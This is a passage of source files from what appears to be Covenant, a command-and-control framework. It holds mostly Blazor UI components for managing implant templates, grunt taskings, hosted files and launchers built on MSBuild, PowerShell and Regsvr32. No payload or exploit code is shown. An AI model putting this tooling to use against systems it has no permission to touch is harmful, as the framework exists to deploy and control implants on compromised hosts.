Microsoft.JSInterop 2 | @using Microsoft.AspNetCore.Components.Forms 3 | @using Covenant.Core 4 | @using Covenant.Models.Grunts 5 | @inject IJSRuntime IJSRuntime 6 | 7 | 8 |
9 |
10 | 11 | 12 |
13 |
14 |
15 |
16 |
17 | 18 | 19 |
20 |
21 |
22 | 25 |
26 | 27 | @code { 28 | [Parameter] 29 | public EmbeddedResource EmbeddedResource { get; set; } 30 | 31 | [Parameter] 32 | public string SubmitIcon { get; set; } 33 | 34 | [Parameter] 35 | public string SubmitLabel { get; set; } 36 | 37 | [Parameter] 38 | public EventCallback OnSubmit { get; set; } 39 | } -------------------------------------------------------------------------------- /Covenant/Components/Events/EventNotifier.razor: -------------------------------------------------------------------------------- 1 | @inherits OwningComponentBase 2 | @implements IDisposable 3 | 4 | @using Covenant.Core 5 | @using Covenant.Models.Covenant 6 | @inject INotificationService INotificationService 7 | 8 |
9 | @foreach (Event ev in Events) 10 | { 11 | 12 | } 13 |
14 | 15 | @code { 16 | private List Events { get; set; } = new List(); 17 | 18 | protected override void OnInitialized() 19 | { 20 | this.INotificationService.OnCreateEvent += OnCreateEvent; 21 | } 22 | 23 | public void Dispose() 24 | { 25 | this.INotificationService.OnCreateEvent -= OnCreateEvent; 26 | } 27 | 28 | private void OnCreateEvent(object sender, Event anEvent) 29 | { 30 | if (anEvent.Level == EventLevel.Highlight) 31 | { 32 | this.Events.Add(anEvent); 33 | this.InvokeAsync(() => this.StateHasChanged()); 34 | } 35 | } 36 | 37 | private void OnEventFinished(Event anEvent) 38 | { 39 | this.Events.Remove(anEvent); 40 | this.InvokeAsync(() => this.StateHasChanged()); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /Covenant/Components/Graph/GraphIndex.razor: -------------------------------------------------------------------------------- 1 | @page "/graph" 2 | @page "/graph/index" 3 | @attribute [Authorize(Roles = "User, Administrator")] 4 | @inherits OwningComponentBase 5 | 6 | @using Microsoft.JSInterop 7 | @using Covenant.Core 8 | @using Covenant.Models.Listeners 9 | @inject IJSRuntime IJSRuntime 10 | 11 |
12 |

Graph

13 |
14 | 15 | 16 | 17 | @code { 18 | [Parameter] 19 | public IEnumerable Listeners { get; set; } 20 | 21 | protected override async Task OnInitializedAsync() 22 | { 23 | this.Listeners = this.Listeners ?? await Service.GetListeners(); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Covenant/Components/GruntTaskings/EditGruntTasking.razor: -------------------------------------------------------------------------------- 1 | @page "/grunttasking/edit/{GruntTaskingId:int}" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Grunts 7 | 8 |
9 |

GruntTasking: @GruntTasking.Name

10 |
11 | 12 | 13 | 14 | @code { 15 | [Parameter] 16 | public int GruntTaskingId { get; set; } 17 | 18 | [Parameter] 19 | public GruntTasking GruntTasking { get; set; } 20 | 21 | protected override async Task OnInitializedAsync() 22 | { 23 | this.GruntTasking = this.GruntTasking ?? await Service.GetGruntTasking(this.GruntTaskingId); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Covenant/Components/GruntTaskings/GruntTaskingIndex.razor: -------------------------------------------------------------------------------- 1 | @page "/grunttasking" 2 | @page "/grunttasking/index" 3 | @attribute [Authorize(Roles = "User, Administrator")] 4 | @inherits OwningComponentBase 5 | 6 | @using Covenant.Core 7 | @using Covenant.Models.Grunts 8 | 9 |
10 |

GruntTaskings

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public List GruntTaskings { get; set; } 18 | 19 | protected override async Task OnInitializedAsync() 20 | { 21 | this.GruntTaskings = this.GruntTaskings ?? (await Service.GetGruntTaskings()).ToList(); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Covenant/Components/GruntTasks/CreateGruntTask.razor: -------------------------------------------------------------------------------- 1 | @page "/grunttask/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Microsoft.JSInterop 6 | @using Covenant.Core 7 | @using Covenant.Models.Grunts 8 | @inject IJSRuntime IJSRuntime 9 | @inject NavigationManager NavigationManager 10 | 11 |
12 |

Create GruntTask

13 |
14 | 15 | 16 | 17 | @code { 18 | [Parameter] 19 | public GruntTask GruntTask { get; set; } 20 | 21 | protected override void OnInitialized() 22 | { 23 | this.GruntTask = this.GruntTask ?? new GruntTask(); 24 | } 25 | 26 | private async Task OnCreate(GruntTask task) 27 | { 28 | try 29 | { 30 | await Service.CreateGruntTask(task); 31 | NavigationManager.NavigateTo("/grunttask"); 32 | } 33 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 34 | { 35 | // return RedirectToAction(nameof(Edit), new { Id = taskModel.Id }); 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Covenant/Components/HostedFiles/CreateHostedFile.razor: -------------------------------------------------------------------------------- 1 | @page "/listener/{ListenerId:int}/hostedfile/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Listeners 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Create HostedFile

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public HostedFile HostedFile { get; set; } 18 | 19 | [Parameter] 20 | public int ListenerId { get; set; } 21 | 22 | protected override void OnInitialized() 23 | { 24 | this.HostedFile = new HostedFile 25 | { 26 | ListenerId = ListenerId 27 | }; 28 | } 29 | 30 | private async Task OnCreate(HostedFile file) 31 | { 32 | this.HostedFile = await Service.CreateHostedFile(file); 33 | NavigationManager.NavigateTo($"/listener/edit/{file.ListenerId}"); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Covenant/Components/HostedFiles/EditHostedFile.razor: -------------------------------------------------------------------------------- 1 | @page "/listener/{ListenerId:int}/hostedfile/edit/{HostedFileId:int}" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Listeners 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Edit HostedFile

11 |
12 | 13 | 14 | 17 | 18 | 19 | @code { 20 | [Parameter] 21 | public int HostedFileId { get; set; } 22 | 23 | [Parameter] 24 | public HostedFile HostedFile { get; set; } 25 | 26 | [Parameter] 27 | public int ListenerId { get; set; } 28 | 29 | protected override async Task OnInitializedAsync() 30 | { 31 | this.HostedFile = this.HostedFile ?? await Service.GetHostedFileForListener(this.ListenerId, this.HostedFileId); 32 | } 33 | 34 | private async Task OnEdit(HostedFile file) 35 | { 36 | await Service.EditHostedFile(this.ListenerId, file); 37 | NavigationManager.NavigateTo($"/listener/edit/{this.ListenerId}"); 38 | } 39 | 40 | private async Task OnDelete(HostedFile file) 41 | { 42 | await Service.DeleteHostedFile(this.ListenerId, file.Id); 43 | NavigationManager.NavigateTo($"/listener/edit/{this.ListenerId}"); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /Covenant/Components/HostedFiles/HostedFileIndex.razor: -------------------------------------------------------------------------------- 1 | @page "/listener/{ListenerId:int}/hostedfile" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Listeners 7 | 8 |
9 |

HostedFiles

10 |
11 | 12 | 13 | 14 | 15 | Create 16 | 17 | 18 | @code { 19 | [Parameter] 20 | public int ListenerId { get; set; } 21 | 22 | [Parameter] 23 | public IEnumerable HostedFiles { get; set; } 24 | 25 | protected override async Task OnInitializedAsync() 26 | { 27 | this.HostedFiles = this.HostedFiles ?? await Service.GetHostedFilesForListener(ListenerId); 28 | } 29 | } -------------------------------------------------------------------------------- /Covenant/Components/Indicators/CreateIndicator.razor: -------------------------------------------------------------------------------- 1 | @page "/indicator/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Indicators 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Create Indicator

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public Indicator Indicator { get; set; } = new FileIndicator(); 18 | 19 | private async Task OnCreate(Indicator indicator) 20 | { 21 | switch (indicator.Type) 22 | { 23 | case IndicatorType.FileIndicator: 24 | this.Indicator = await Service.CreateIndicator((FileIndicator)indicator); 25 | break; 26 | case IndicatorType.NetworkIndicator: 27 | this.Indicator = await Service.CreateIndicator((NetworkIndicator)indicator); 28 | break; 29 | case IndicatorType.TargetIndicator: 30 | this.Indicator = await Service.CreateIndicator((TargetIndicator)indicator); 31 | break; 32 | } 33 | NavigationManager.NavigateTo("/data"); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Covenant/Components/Indicators/IndicatorTables.razor: -------------------------------------------------------------------------------- 1 | @using Covenant.Models.Indicators 2 | 3 |
4 |

Target Indicators

5 |
6 | 7 | 8 | 9 |
10 |

Network Indicators

11 |
12 | 13 | 14 | 15 |
16 |

File Indicators

17 |
18 | 19 | 20 | 21 | @code { 22 | [Parameter] 23 | public IEnumerable TargetIndicators { get; set; } 24 | 25 | [Parameter] 26 | public IEnumerable NetworkIndicators { get; set; } 27 | 28 | [Parameter] 29 | public IEnumerable FileIndicators { get; set; } 30 | } -------------------------------------------------------------------------------- /Covenant/Components/Launchers/LauncherHost.razor: -------------------------------------------------------------------------------- 1 | @using Covenant.Models.Launchers 2 | 3 |
4 |
5 |
6 |
7 |
8 |
9 |
Url
10 |
11 | 12 |
13 | 14 |
15 |
16 |
17 |
18 |
19 | 20 | @code { 21 | [Parameter] 22 | public Launcher Launcher { get; set; } 23 | 24 | [Parameter] 25 | public EventCallback OnHost { get; set; } 26 | 27 | private string Path { get; set; } = "/path/to/file"; 28 | } 29 | -------------------------------------------------------------------------------- /Covenant/Components/Launchers/LauncherIndex.razor: -------------------------------------------------------------------------------- 1 | @page "/launcher" 2 | @page "/launcher/index" 3 | @attribute [Authorize(Roles = "User, Administrator")] 4 | @inherits OwningComponentBase 5 | 6 | @using Covenant.Core 7 | @using Covenant.Models.Launchers 8 | 9 |
10 |

Launchers

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public IEnumerable Launchers { get; set; } 18 | 19 | protected override async Task OnInitializedAsync() 20 | { 21 | this.Launchers = this.Launchers ?? await Service.GetLaunchers(); 22 | this.Launchers.OrderBy(L => L.Name); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Covenant/Components/Launchers/MSBuildLauncherFormPartial.razor: -------------------------------------------------------------------------------- 1 | @using Microsoft.AspNetCore.Components.Forms 2 | @using Covenant.Models.Launchers 3 | 4 |
5 |
6 | 7 | 8 |
9 |
10 |
11 | 12 | 13 |
14 |
15 |
16 | 17 | @code { 18 | [Parameter] 19 | public Launcher Launcher { get; set; } 20 | public MSBuildLauncher MSBuildLauncher { get; set; } 21 | 22 | [Parameter] 23 | public EventCallback LauncherChanged { get; set; } 24 | 25 | protected override void OnInitialized() 26 | { 27 | this.MSBuildLauncher = (MSBuildLauncher)this.Launcher; 28 | } 29 | 30 | private void OnTargetNameChanged(ChangeEventArgs e) 31 | { 32 | this.MSBuildLauncher.TargetName = e.Value.ToString(); 33 | this.LauncherChanged.InvokeAsync(this.MSBuildLauncher); 34 | } 35 | 36 | private void OnTaskNameChanged(ChangeEventArgs e) 37 | { 38 | this.MSBuildLauncher.TaskName = e.Value.ToString(); 39 | this.LauncherChanged.InvokeAsync(this.MSBuildLauncher); 40 | } 41 | } -------------------------------------------------------------------------------- /Covenant/Components/Launchers/PowerShellLauncherFormPartial.razor: -------------------------------------------------------------------------------- 1 | @using Microsoft.AspNetCore.Components.Forms 2 | @using Covenant.Models.Launchers 3 | 4 |
5 |
6 | 7 | 8 |
9 |
10 |
11 | 12 | @code { 13 | [Parameter] 14 | public Launcher Launcher { get; set; } 15 | public PowerShellLauncher PowerShellLauncher { get; set; } 16 | 17 | [Parameter] 18 | public EventCallback LauncherChanged { get; set; } 19 | 20 | protected override void OnInitialized() 21 | { 22 | this.PowerShellLauncher = (PowerShellLauncher)this.Launcher; 23 | } 24 | 25 | private void OnParameterStringChanged(ChangeEventArgs e) 26 | { 27 | this.PowerShellLauncher.ParameterString = e.Value.ToString(); 28 | this.LauncherChanged.InvokeAsync(this.PowerShellLauncher); 29 | } 30 | } -------------------------------------------------------------------------------- /Covenant/Components/Launchers/Regsvr32LauncherFormPartial.razor: -------------------------------------------------------------------------------- 1 | @using Microsoft.AspNetCore.Components.Forms 2 | @using Covenant.Models.Launchers 3 | 4 |
5 |
6 | 7 | 8 |
9 |
10 |
11 | 12 | 13 |
14 |
15 |
16 | 17 | @code { 18 | [Parameter] 19 | public Launcher Launcher { get; set; } 20 | public Regsvr32Launcher Regsvr32Launcher { get; set; } 21 | 22 | [Parameter] 23 | public EventCallback LauncherChanged { get; set; } 24 | 25 | protected override void OnInitialized() 26 | { 27 | this.Regsvr32Launcher = (Regsvr32Launcher)this.Launcher; 28 | } 29 | 30 | private void OnParameterStringChanged(ChangeEventArgs e) 31 | { 32 | this.Regsvr32Launcher.ParameterString = e.Value.ToString(); 33 | this.LauncherChanged.InvokeAsync(this.Regsvr32Launcher); 34 | } 35 | 36 | private void OnDllNameChanged(ChangeEventArgs e) 37 | { 38 | this.Regsvr32Launcher.DllName = e.Value.ToString(); 39 | this.LauncherChanged.InvokeAsync(this.Regsvr32Launcher); 40 | } 41 | } -------------------------------------------------------------------------------- /Covenant/Components/ReferenceAssemblies/CreateReferenceAssembly.razor: -------------------------------------------------------------------------------- 1 | @page "/referenceassembly/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Grunts 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Create ReferenceAssembly

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public ReferenceAssembly ReferenceAssembly { get; set; } 18 | 19 | protected override void OnInitialized() 20 | { 21 | this.ReferenceAssembly = this.ReferenceAssembly ?? new ReferenceAssembly(); 22 | } 23 | 24 | public async Task OnCreate(ReferenceAssembly assembly) 25 | { 26 | try 27 | { 28 | await Service.CreateReferenceAssembly(assembly); 29 | NavigationManager.NavigateTo("/grunttask"); 30 | } 31 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 32 | { 33 | // return View(new ReferenceAssembly()); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /Covenant/Components/ReferenceAssemblies/EditReferenceAssembly.razor: -------------------------------------------------------------------------------- 1 | @page "/referenceassembly/edit/{ReferenceAssemblyId:int}" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Grunts 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

ReferenceAssembly: @ReferenceAssembly.Name

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public int ReferenceAssemblyId { get; set; } 18 | 19 | [Parameter] 20 | public ReferenceAssembly ReferenceAssembly { get; set; } 21 | 22 | protected override async Task OnInitializedAsync() 23 | { 24 | this.ReferenceAssembly = this.ReferenceAssembly ?? await Service.GetReferenceAssembly(this.ReferenceAssemblyId); 25 | } 26 | 27 | public async Task OnEdit(ReferenceAssembly assembly) 28 | { 29 | try 30 | { 31 | await Service.EditReferenceAssembly(assembly); 32 | NavigationManager.NavigateTo("/referenceassembly"); 33 | } 34 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 35 | { 36 | // return RedirectToAction(nameof(Edit), new { id = assembly.Id }); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Covenant/Components/ReferenceSourceLibraries/CreateReferenceSourceLibrary.razor: -------------------------------------------------------------------------------- 1 | @page "/referencesourcelibrary/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Grunts 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Create ReferenceSourceLibrary

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public ReferenceSourceLibrary ReferenceSourceLibrary { get; set; } 18 | 19 | protected override void OnInitialized() 20 | { 21 | this.ReferenceSourceLibrary = this.ReferenceSourceLibrary ?? new ReferenceSourceLibrary(); 22 | } 23 | 24 | public async Task OnCreate(ReferenceSourceLibrary library) 25 | { 26 | try 27 | { 28 | this.ReferenceSourceLibrary = await Service.CreateReferenceSourceLibrary(library); 29 | NavigationManager.NavigateTo("/grunttask"); 30 | } 31 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 32 | { 33 | // return RedirectToAction(nameof(Edit), new { id = libraryModel.Id }); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /Covenant/Components/ReferenceSourceLibraries/EditReferenceSourceLibrary.razor: -------------------------------------------------------------------------------- 1 | @page "/referencesourcelibrary/edit/{ReferenceSourceLibraryId:int}" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Grunts 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

ReferenceSourceLibrary: @ReferenceSourceLibrary.Name

11 |
12 | 13 | 14 | 15 | @code { 16 | [Parameter] 17 | public int ReferenceSourceLibraryId { get; set; } 18 | 19 | [Parameter] 20 | public ReferenceSourceLibrary ReferenceSourceLibrary { get; set; } 21 | 22 | protected override async Task OnInitializedAsync() 23 | { 24 | this.ReferenceSourceLibrary = this.ReferenceSourceLibrary ?? await Service.GetReferenceSourceLibrary(this.ReferenceSourceLibraryId); 25 | } 26 | 27 | public async Task OnEdit(ReferenceSourceLibrary library) 28 | { 29 | try 30 | { 31 | await Service.EditReferenceSourceLibrary(library); 32 | NavigationManager.NavigateTo("/listener"); 33 | } 34 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 35 | { 36 | // return RedirectToAction(nameof(Edit), new { id = libraryModel.Id }); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Covenant/Components/Shared/CovenantTable.razor.cs: -------------------------------------------------------------------------------- 1 | using Covenant.Models; 2 | 3 | namespace Covenant.Components.Shared 4 | { 5 | partial class CovenantTable 6 | { 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Covenant/Components/Shared/EnumSelect.razor: -------------------------------------------------------------------------------- 1 | @using System.Linq 2 | @using Microsoft.JSInterop 3 | @inject IJSRuntime IJSRuntime 4 | @typeparam EnumType 5 | 6 | @if (typeof(EnumType).IsEnum) 7 | { 8 | 14 | } 15 | 16 | @code { 17 | [Parameter] 18 | public EnumType Value { get; set; } 19 | 20 | [Parameter(CaptureUnmatchedValues = true)] 21 | public IDictionary Attributes { get; set; } 22 | 23 | private ElementReference SelectElement { get; set; } 24 | 25 | protected override async Task OnAfterRenderAsync(bool firstRender) 26 | { 27 | await IJSRuntime.InvokeAsync("InitializeSelectPicker", new object[] { ".selectpicker", SelectElement, ((int)Enum.Parse(typeof(EnumType), Value.ToString())).ToString() }); 28 | } 29 | 30 | private static IEnumerable> GetEnumNamesAndValues() 31 | { 32 | List> EnumPairs = new List>(); 33 | if (typeof(EnumType).IsEnum) 34 | { 35 | return Enum.GetNames(typeof(EnumType)) 36 | .Select(name => typeof(EnumType).GetField(name)) 37 | .Select(field => new KeyValuePair(((Enum)field.GetValue(obj: null)).ToString("d"), field.Name)); 38 | } 39 | return null; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /Covenant/Components/Shared/SortableTableHeader.razor.cs: -------------------------------------------------------------------------------- 1 | using Covenant.Models; 2 | 3 | namespace Covenant.Components.Shared 4 | { 5 | partial class SortableTableHeader 6 | { 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Covenant/Components/Templates/CreateImplantTemplate.razor: -------------------------------------------------------------------------------- 1 | @page "/template/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Microsoft.JSInterop 6 | @using Covenant.Core 7 | @using Covenant.Models.Grunts 8 | @inject IJSRuntime IJSRuntime 9 | @inject NavigationManager NavigationManager 10 | 11 |
12 |

Create Implant Template

13 |
14 | 15 | 16 | 17 | @code { 18 | public ImplantTemplate ImplantTemplate { get; set; } = new ImplantTemplate(); 19 | 20 | private async Task OnCreate(ImplantTemplate template) 21 | { 22 | try 23 | { 24 | await Service.CreateImplantTemplate(template); 25 | NavigationManager.NavigateTo("/template"); 26 | } 27 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 28 | { 29 | // return RedirectToAction(nameof(Index)); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /Covenant/Components/Templates/EditImplantTemplate.razor: -------------------------------------------------------------------------------- 1 | @page "/template/edit/{ImplantTemplateId:int}" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Microsoft.JSInterop 6 | @using Covenant.Core 7 | @using Covenant.Models.Grunts 8 | @inject IJSRuntime IJSRuntime 9 | @inject NavigationManager NavigationManager 10 | 11 |
12 |

Implant Template: @ImplantTemplate.Name

13 |
14 | 15 | 16 | 17 | @code { 18 | [Parameter] 19 | public int ImplantTemplateId { get; set; } 20 | 21 | [Parameter] 22 | public ImplantTemplate ImplantTemplate { get; set; } 23 | 24 | protected override async Task OnInitializedAsync() 25 | { 26 | this.ImplantTemplate = this.ImplantTemplate ?? await Service.GetImplantTemplate(this.ImplantTemplateId); 27 | } 28 | 29 | private async Task OnEdit(ImplantTemplate template) 30 | { 31 | try 32 | { 33 | await Service.EditImplantTemplate(template); 34 | NavigationManager.NavigateTo("/template"); 35 | } 36 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 37 | { 38 | // return RedirectToAction(nameof(Index)); 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /Covenant/Components/Templates/ImplantTemplateIndex.razor: -------------------------------------------------------------------------------- 1 | @page "/template" 2 | @page "/template/index" 3 | @attribute [Authorize(Roles = "User, Administrator")] 4 | @inherits OwningComponentBase 5 | 6 | @using Covenant.Core 7 | @using Covenant.Models.Grunts 8 | 9 |
10 |

ImplantTemplates

11 |
12 | 13 | 14 | 15 | 16 | 17 | Create 18 | 19 | 20 | @code { 21 | [Parameter] 22 | public IEnumerable ImplantTemplates { get; set; } 23 | 24 | protected override async Task OnInitializedAsync() 25 | { 26 | this.ImplantTemplates = this.ImplantTemplates ?? await Service.GetImplantTemplates(); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Covenant/Components/Themes/CreateTheme.razor: -------------------------------------------------------------------------------- 1 | @page "/theme/create" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Covenant 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Create Theme

11 |
12 | 13 | 14 | 17 | 18 | 19 | @code { 20 | [Parameter] 21 | public Theme Theme { get; set; } = new Theme(); 22 | 23 | private async Task OnCreate(Theme theme) 24 | { 25 | try 26 | { 27 | this.Theme = await Service.CreateTheme(theme); 28 | NavigationManager.NavigateTo($"/covenantuser/index"); 29 | } 30 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 31 | { 32 | // ModelState.AddModelError(string.Empty, e.Message); 33 | // return RedirectToAction(nameof(Create), new { id = launcher.Name }); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /Covenant/Components/Themes/EditTheme.razor: -------------------------------------------------------------------------------- 1 | @page "/theme/edit/{ThemeId:int}" 2 | @attribute [Authorize(Roles = "User, Administrator")] 3 | @inherits OwningComponentBase 4 | 5 | @using Covenant.Core 6 | @using Covenant.Models.Covenant 7 | @inject NavigationManager NavigationManager 8 | 9 |
10 |

Theme: @Theme.Name

11 |
12 | 13 | 14 | 17 | 18 | 19 | @code { 20 | [Parameter] 21 | public int ThemeId { get; set; } 22 | 23 | [Parameter] 24 | public Theme Theme { get; set; } 25 | 26 | protected override async Task OnInitializedAsync() 27 | { 28 | this.Theme = this.Theme ?? await Service.GetTheme(this.ThemeId); 29 | Service.DisposeContext(); 30 | } 31 | 32 | private async Task OnEdit(Theme theme) 33 | { 34 | try 35 | { 36 | await Service.EditTheme(theme); 37 | NavigationManager.NavigateTo($"/covenantuser/index"); 38 | } 39 | catch (Exception e) when (e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) 40 | { 41 | // ModelState.AddModelError(string.Empty, e.Message); 42 | // return RedirectToAction(nameof(Create), new { id = launcher.Name }); 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /Covenant/Components/_Imports.razor: -------------------------------------------------------------------------------- 1 | @using Microsoft.AspNetCore.Components 2 | @using Microsoft.AspNetCore.Components.Web 3 | @using Microsoft.AspNetCore.Authorization 4 | @using Covenant.Models -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Configuration.Install.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Configuration.Install.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Core.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Core.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Data.DataSetExtensions.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Data.DataSetExtensions.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Data.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Data.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.DirectoryServices.AccountManagement.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.DirectoryServices.AccountManagement.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.DirectoryServices.Protocols.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.DirectoryServices.Protocols.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.DirectoryServices.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Drawing.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Drawing.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.IdentityModel.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.IdentityModel.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Management.Automation.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Management.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Management.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Security.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Security.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.ServiceProcess.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.ServiceProcess.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Web.Extensions.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Web.Extensions.dll -------------------------------------------------------------------------------- /Covenant/Data/AssemblyReferences/net35/System.Windows.Forms.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/Data/AssemblyReferences/net35/System.Windows.Forms.dll -------------------------------------------------------------------------------- 